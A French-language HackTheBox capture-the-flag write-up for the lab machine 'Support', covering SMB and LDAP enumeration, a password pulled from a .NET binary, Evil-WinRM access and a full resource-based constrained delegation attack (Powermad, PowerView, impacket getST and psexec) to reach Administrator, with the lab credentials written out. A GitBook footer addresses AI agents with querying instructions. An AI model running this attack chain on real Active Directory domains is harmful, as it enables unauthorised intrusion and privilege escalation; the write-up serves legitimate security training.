> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md).

# Compte rendu HackTheBox de Support

{% embed url="<https://app.hackthebox.com/machines/484>" %}

{% hint style="warning" %}
**Compétences :**

* Énumération SMB
* Analyse binaire EXE
* Débogage avec DNSpy
* Définition de points d'arrêt et récupération d'un mot de passe LDAP en clair (DNSpy)
* Énumération des utilisateurs Kerberos (kerbrute)
* Énumération LDAP (ldapsearch)
* Fuite d'informations
* Abus du groupe des utilisateurs de gestion à distance (Evil-WinRM)
* Énumération avec SharpHound + BloodHound
* Abus des comptes d'assistance partagés (GenericAll) (attaque RBCD) (délégation contrainte basée sur les ressources)
* Attaque de délégation contrainte basée sur les ressources - Création d'un objet ordinateur (powermad.ps1)
* Attaque de délégation contrainte basée sur les ressources - PowerView\.ps1
* Attaque de délégation contrainte basée sur les ressources - Obtention du ticket de service usurpé (getST.py)
* Utiliser le ticket pour obtenir un accès Administrateur (élévation de privilèges)
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252Fo2rnKrSfjXgEugmM3bpN%252Fimage.png%3Falt=media%26token=f926bbcb-20af-41c6-9325-7b565641549e&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=13a95f453743ff7d80a8a636b310fcf177817f872fc7fa53119ce971d2271c20" alt=""><figcaption></figcaption></figure>

#### **Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/b35a2384a2efe1f0064fbf2f128c316d19aae12d" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts
```

<figure><img src="/files/9cad5a3f14e6afad451afccbea70a69ae93cbd62" alt=""><figcaption></figcaption></figure>

**Scan des versions des ports avec Nmap :** Utilisation de Nmap pour scanner les versions des ports et extraire les informations dans le fichier « targeted » :

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted
```

<figure><img src="/files/f8e4a112a4e00240af0ff9acab2e17cae48c4db6" alt=""><figcaption></figcaption></figure>

## **Énumération du contrôleur de domaine :** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### Lister les partages SMB :

Utilisation de CrackMapExec pour l'énumération SMB.

```bash
crackmapexec smb 10.10.11.174
```

<figure><img src="/files/dbfb8e00f7d922658b9080d2d49b60d5205e449d" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` le fichier

<figure><img src="/files/361b83fd53677e5660d13f5f628cf2066061744e" alt=""><figcaption></figcaption></figure>

### **Liste Kerberos :**

Utilisation de Kerbrute pour énumérer les utilisateurs.

```bash
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt
```

<figure><img src="/files/25a07943b646a49e7df4d42cd4365bcaec9363c4" alt=""><figcaption></figcaption></figure>

### **Exploration des partages réseau :**

Recherche de dossiers partagés sur le réseau.

```bash
smbmap -H 10.10.11.174 -u none
```

<figure><img src="/files/14f5253c1d86710e275312bb34f2181432352aa9" alt=""><figcaption></figcaption></figure>

```bash
smbclient //10.10.11.174/support-tools -N
```

<figure><img src="/files/09f6264c6f94d89e3550e208dc9762d032e9abff" alt=""><figcaption></figcaption></figure>

Nous découvrons un fichier zip intéressant appelé « UserInfo-exe-zip ». Pour continuer, nous utilisons la commande `get` pour le télécharger sur notre machine.

<figure><img src="/files/fb19b7dd07e6dc98f44b0dd52c436c07d794f33e" alt=""><figcaption></figcaption></figure>

### /*/* Analyse d'un fichier binaire Windows :/*/*

Nous allons lancer un exécutable Windows sur une machine équipée de Windows.

Pour cela, nous devons :

1. Transférer l'archive ZIP

<figure><img src="/files/d3a3801c557abd7d164872823822f1958b4f2168" alt=""><figcaption></figcaption></figure>

2. Migration de la configuration VPN
3. `/etc/hosts` Configuration

<figure><img src="/files/01b8845596670d271862d9dd3528818b2f97d9d7" alt=""><figcaption></figcaption></figure>

Pour exécuter le binaire et identifier tous les utilisateurs valides, il suffit de saisir la commande suivante

```bash
./UserInfo.exe find -first * -last *
```

#### Ce binaire nous permettra de lister les utilisateurs.

<figure><img src="/files/31d08d823f336ec093aca7ad899a5e6e0c2a4aed" alt=""><figcaption></figcaption></figure>

#### Analyse du fichier binaire Windows téléchargé avec DNspy.

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

<figure><img src="/files/77150beafd53c9c5803cf3c7d0ced7e4fa481380" alt=""><figcaption></figcaption></figure>

### **Extraction d'un mot de passe en clair :**

Utilisation de DNspy pour extraire un mot de passe en clair depuis un binaire Windows.

<figure><img src="/files/d66fe6946f7c97a676499b0e0b469827d5d7ab5f" alt=""><figcaption></figcaption></figure>

Nous allons exécuter le programme, mais nous ne nous arrêterons que dans la section où le texte est en clair.

<figure><img src="/files/86964ebeb9253012b7ad9aa2a6835dba2560869c" alt=""><figcaption></figcaption></figure>

Voici le mot de passe LDAP :

<figure><img src="/files/437a20df98ac0847258dc43f88515973d5625e32" alt=""><figcaption></figcaption></figure>

### **Vérification du mot de passe LDAP :**

Vérification du mot de passe extrait avec CrackMapExec.

```bash
crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="/files/e77bbdaff0c4e0139b1a6b32d1b5bf6c633b2cef" alt=""><figcaption></figcaption></figure>

### Liste du domaine :

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
```

#### Utilisateurs du domaine

```
enumdomusers
```

<figure><img src="/files/90a28a8eaf7d7aea6d996c0965cbdd76e37ce1fb" alt=""><figcaption></figcaption></figure>

#### Groupes du domaine

```bash
enumdomgroups
```

<figure><img src="/files/9abb62ac7eb6b049258ab04fb645647422083bad" alt=""><figcaption></figcaption></figure>

#### Descriptions des utilisateurs :

```bash
querydispinfo
```

<figure><img src="/files/b7a797729bfe4595926de504cc2a5da30c26da27" alt=""><figcaption></figcaption></figure>

#### Insérer tous les utilisateurs valides du domaine dans un fichier.

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]'
```

<figure><img src="/files/4fc43758adb64146c5628bdee283a0dadf40059d" alt=""><figcaption></figcaption></figure>

#### Nous allons maintenant vérifier si le mot de passe LDAP est réutilisé pour l'un des utilisateurs suivants :

```bash
crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
```

Cependant, cela ne fonctionne pas.

<figure><img src="/files/3a8ef2ccd5240af1c59134325d7de2eae5618a04" alt=""><figcaption></figcaption></figure>

### **Liste LDAP :**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap>" %}

#### Utilisation de la recherche LDAP pour énumérer les informations.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

#### Beaucoup de données sont disponibles, cependant, en appliquant un filtre sur les informations de la chanson, un mot de passe pour l'utilisateur support est découvert.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20
```

<figure><img src="/files/66ed1d42114b4b9e2ad4ea99826f840bb9047821" alt=""><figcaption></figcaption></figure>

## **Exploitation :**

#### Utiliser CrackMapExec pour confirmer le mot de passe associé au compte support.

```bash
crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

Cet utilisateur fait partie du groupe des utilisateurs de gestion à distance, ce qui nous permet de nous connecter via Windows Remote Management (WinRM).

```bash
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

### **Utilisation d'Evil-WinRM :**

Se connecter au système cible via Evil-WinRM en utilisant les informations identifiées obtenues.

<figure><img src="/files/3f28859e34f0cfafb23b2e3e94ef3af0463a88e9" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges

### **Vérification des privilèges actuels :**<br>

En utilisant les `whoami /priv` commande pour vérifier les privilèges de l'utilisateur, sans succès.<br>

<figure><img src="/files/1f427b0acd5d72da7eee8723755bf145358c4ba0" alt=""><figcaption></figcaption></figure>

### **Analyse des groupes d'appartenance :**

En utilisant les `net user support` commande pour inspecter les groupes auxquels l'utilisateur appartient.

Découverte d'un groupe apparemment rare, « shared support accounts ».

<figure><img src="/files/0e687b5d7ce81a9fa307c4537d37a0fd105009e5" alt=""><figcaption></figcaption></figure>

### **Utilisation de BloodHound pour l'analyse des privilèges :**

#### Utilisation de l'outil BloodHound pour cartographier les relations d'accès.

{% embed url="<https://github.com/BloodHoundAD/SharpHound>" %}

<figure><img src="/files/66f305b714c3267347789b9970307934946173c5" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/710daa6c77ccc644bb3d3fa5031fc0216d7d2dc3" alt=""><figcaption></figcaption></figure></div>

### **Exécution de SharpHound pour une analyse plus approfondie :**

Utilisation de SharpHound, un outil complémentaire à BloodHound, pour collecter des données supplémentaires sur les relations d'accès.

```powershell
./SharpHound.exe -c All
```

<div data-full-width="true"><figure><img src="/files/e09f65cb285bb1a4fe8ad43650a3a6f0901ad523" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/c6d0d7b21ba7bb2b33789120df9c6e4b35f2c1b7" alt=""><figcaption></figcaption></figure>

## Vulnérabilité : attaque de délégation contrainte basée sur les ressources :

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>" %}

### **Identification de la vulnérabilité : attaque de délégation contrainte basée sur les ressources :**

<div data-full-width="true"><figure><img src="/files/a0b2e5efe7c24e5dcea960c5af2c806d56f700d8" alt=""><figcaption></figcaption></figure></div>

#### Déploiement du script Powermad pour créer un compte machine.

{% embed url="<https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1>" %}

```powershell
upload Powemad.ps1
Import-Module ./Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

#### Utilisation de PowerView pour vérifier la création du compte machine.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

```powershell
upload PowerView.ps1
Import-Module ./PowerView.ps1
```

<div data-full-width="true"><figure><img src="/files/ab86617bd0b03bae853a670a4ddc08da10ab4940" alt=""><figcaption></figcaption></figure></div>

#### Définition des autorisations pour le compte machine à l'aide de commandes PowerShell.

```powershell
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

#### Avec cette commande, nous vérifions si l'ensemble de la procédure 'Get-DomainComputer dc' fonctionne en utilisant les propriétés 'msds-allowedtoactonbehalfofather identity'.

<div data-full-width="true"><figure><img src="/files/f044c89a2cf94005f036573ddcd2231fccfefdf5" alt=""><figcaption></figcaption></figure></div>

### **Exploitation de la vulnérabilité**

#### Utilisation de l'outil Impacket pour exécuter la commande `getST` pour obtenir un ticket TGT en usurpant l'utilisateur Administrator.

```bash
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
```

<figure><img src="/files/768b2794c5f7f9c32debd373f4b724d325c139a4" alt=""><figcaption></figcaption></figure>

#### Configurer l'environnement Kerberos de l'Administrator en exportant `KRB5CCNAME`, puis se connecter au système cible en utilisant Impacket `psexec`.<br>

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
```

<figure><img src="/files/97af616b114fb3597019f5f02c688dd4d8567395" alt=""><figcaption></figcaption></figure>

### Drapeau final :)

<figure><img src="/files/4fc6097be901543248edfb1132cc8d2e5ab9f9fc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9ea85bb29f7baf56fb595c1a0c25d4e005fcf848" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
